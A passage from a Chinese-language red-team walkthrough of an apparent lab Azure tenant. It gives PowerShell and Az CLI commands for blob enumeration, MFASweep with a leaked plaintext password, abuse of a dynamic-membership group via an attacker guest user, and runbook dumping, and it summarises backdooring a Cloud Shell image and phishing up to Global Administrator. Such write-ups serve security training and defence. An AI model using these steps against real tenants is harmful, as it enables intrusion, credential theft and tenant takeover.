(AZHACKManagedIdentity)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">为 management.azure.com 和 vault.azure.net 转储访问令牌</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">模拟托管标识并从密钥保管库读取机密</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">机密包含另一个用户 (AppOwner) 的凭据</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">使用 PowerShell Az 连接到 Azure，发现用户是应用程序的所有者，其 SP 是管理组上的 &#34;存储账户参与者&#34;，管理组包括订阅及其所有继承的资源</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">为 SP 添加新机密，并使用 PowerShell Az 作为 SP 进行身份验证</span></p></li></ul><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">已认证状态 (管理组上的存储账户参与者)</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">发现一个存储账户，其中包含来自云 Shell 配置文件的镜像文件</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">发现云 Shell 镜像文件由被分配 Azure AD 角色 &#34;Privileged Role Administrator&#34; 的用户拥有</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">下载镜像文件，挂载它，植入恶意载荷后再次上传</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">使用 AADInternals 对目标进行内部钓鱼，并链接到 <a href="https://shell.azure.com/" target="_blank">https://shell.azure.com/</a></span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">当目标打开钓鱼链接时，我们的访客用户将被分配 Azure AD 租户中的 &#34;Global Administrator&#34; 角色</span></p></li></ul><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">已认证状态 (Azure AD 租户中的全局管理员)</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">使用门户对目标 Azure 租户进行身份验证，并将自己提升为租户根管理组上的 &#34;User Access Administrator&#34;</span></p></li></ul><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">已认证状态 (用户访问管理员)</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">您现在完全拥有 Azure AD 租户和所有 Azure 资源的所有权</span></p></li></ul><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">攻击详细步骤</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下章节详细描述攻击路径及其执行方式。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">未认证状态 (匿名)</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在这种特定情况下，我们假设已知目标公司的特定子域名。在真实场景的红队评估中，这显然要通过基本 OSINT 完成。掌握了子域名信息后，我们以 &#34;adsikkerhed&#34; 作为基础枚举 Azure 子域名。这一基础在不同公司及其名称之间会有所不同。</span></p><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">1. 使用 Microburst 枚举子域名</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用的工具：Microburst、PowerShell</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">Import-Module</span></span><span leaf=""> .\MicroBurst\MicroBurst.psm1</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Invoke-EnumerateAzureSubDomains</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Base adsikkerhed</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">至此我们意识到该公司有一个名为 &#34;adsikkerhed&#34; 的存储账户，于是我们对该存储账户发起有针对性的暴力枚举攻击，借此找出任何具有公共访问权限的 blob 和容器。然后我们获取公开可用的 csv 文件并读取其内容。</span></p><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">2. 使用 MicroBurst 枚举存储账户 blob 以获取公开可访问的数据</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用的工具：Microburst、PowerShell</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">Invoke-EnumerateAzureBlobs</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Base adsikkerhed</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Invoke-WebRequest</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;<a href="https://adsikkerhed.blob.core.windows.net/files/test.csv" target="_blank">https://adsikkerhed.blob.core.windows.net/files/test.csv</a>&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">OutFile .\output\test.csv</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Get-Content</span></span><span leaf=""> .\output\test.csv</span></code></pre><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">3. 枚举可能阻止被泄露凭据登录尝试的潜在 MFA 要求或条件访问策略</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用的工具：MFASweep、PowerShell、Az Module</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">Import-Module</span></span><span leaf=""> .\MFASweep\MFASweep.ps1</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Invoke-MFASweep</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Username </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;nfp@adsikkerhed.dk&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Password </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;%cP&amp;KCuC48YEYs3l3t9o!fIJU&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Install-Module</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name Az </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Scope CurrentUser </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Repository PSGallery </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Force</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Import-Module</span></span><span leaf=""> Az</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Credentials</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-Credential</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Connect-AzAccount</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Credential </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Credentials</span></span></code></pre><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">已认证状态 (Reader)</span></h3><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">4. 枚举云组并搜索具有动态成员资格的特定组</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用的工具：PowerShell、AzureAD Module、Azure Portal、Az CLI、MicroBurst</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">Install-Module</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name AzureADPreview </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Scope CurrentUser </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Repository PSGallery </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Force</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Connect-AzureAD</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AzureADMSGroup</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">?</span></span><span leaf="">{</span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">_</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.GroupTypes</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-eq</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;DynamicMembership&#39;</span></span><span leaf="">}</span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="动态组枚举结果" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012251" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0ac40ac7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjgM0wXsoWcVvBmqGeu9Pfo5NyfOamDB9S7xKahsy0UEViaIehqNC1eQSbNZBDgGVCzdiaDzNKBH8SCicfqOSokKJ9SbGA7MZwhkU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">动态组枚举结果</span></figcaption></figure><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf=""># 获取 AutomationAdmins 组的 Id 并搜索潜在的资源权限委派</span><br/></span><span leaf="">az role assignment list --assignee 4ec58299-dcc1-4df3-84f6-bb63fd2f0f37 --include-inherited --query </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}&#39;</span></span></code></pre><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">5. 利用动态成员资格规则并邀请您自己的访客用户</span></h4><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">保持在门户中，导航到 Azure AD &gt; 用户 &gt; 新建访客用户</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">邀请用户并填写必要信息。此用户由攻击者从另一个域拥有，确保符合动态成员资格规则以成功加入组</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">满意后点击 &#34;邀请&#34;</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">导航到您的攻击者拥有的用户邮箱并接受邀请</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">当邀请已被接受且动态成员资格规则已更新时，您会发现自己成为 AutomationAdmins 组的成员</span></p></li></ol><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="访客用户邀请界面" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012255" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=dbbb2fb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgpx9JsjXuTibUicvjubql59VaZmV0ax1Fictf576fv6DpuluPV5czWXlYLotzaolTiaZrNBd48byFwCZff1Lj7OXIK1rkNU10UMAE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">访客用户邀请界面</span></figcaption></figure><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="组成员资格确认" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012254" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b755f856&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSh8u3PWVfciaItPqreC6ZTDRYZywGJh4VNYcicWSbqqpQicwhFJ3WDQQd4859arduAy1mqppOTMltUibpeygeyfEMWhK3tGW09wvDo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">组成员资格确认</span></figcaption></figure><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">6. 转储自动化账户 runbooks</span></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf=""># 使用新邀请的访客用户，利用 &#34;Automation Contributor&#34; RBAC 角色并使用 MicroBurst 从自动化账户转储 runbooks</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Connect-AzAccount</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;</span></span><span leaf="">guest user</span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Import-Module</span></span><span leaf=""> .\MicroBurst\MicroBurst.psm1</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-Item</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Path </span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name adsikkerhed</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">output </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Type Directory</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AzDomainInfo</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">folder .\adsikkerhed</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">output\ </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Users Y </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Groups N </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">StorageAccounts N </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">VMs N </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">NetworkInfo N </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">RBAC N</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Get-Content</span></span><span leaf=""> .\adsikkerhed</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">output\Az\ADSIKKERHED\Resources\AutomationAccounts\AutomationAccount\RunBookPowerShell.ps1</span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Runbook 转储结果" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012258" style="max-width: 100%;" data-type="png" 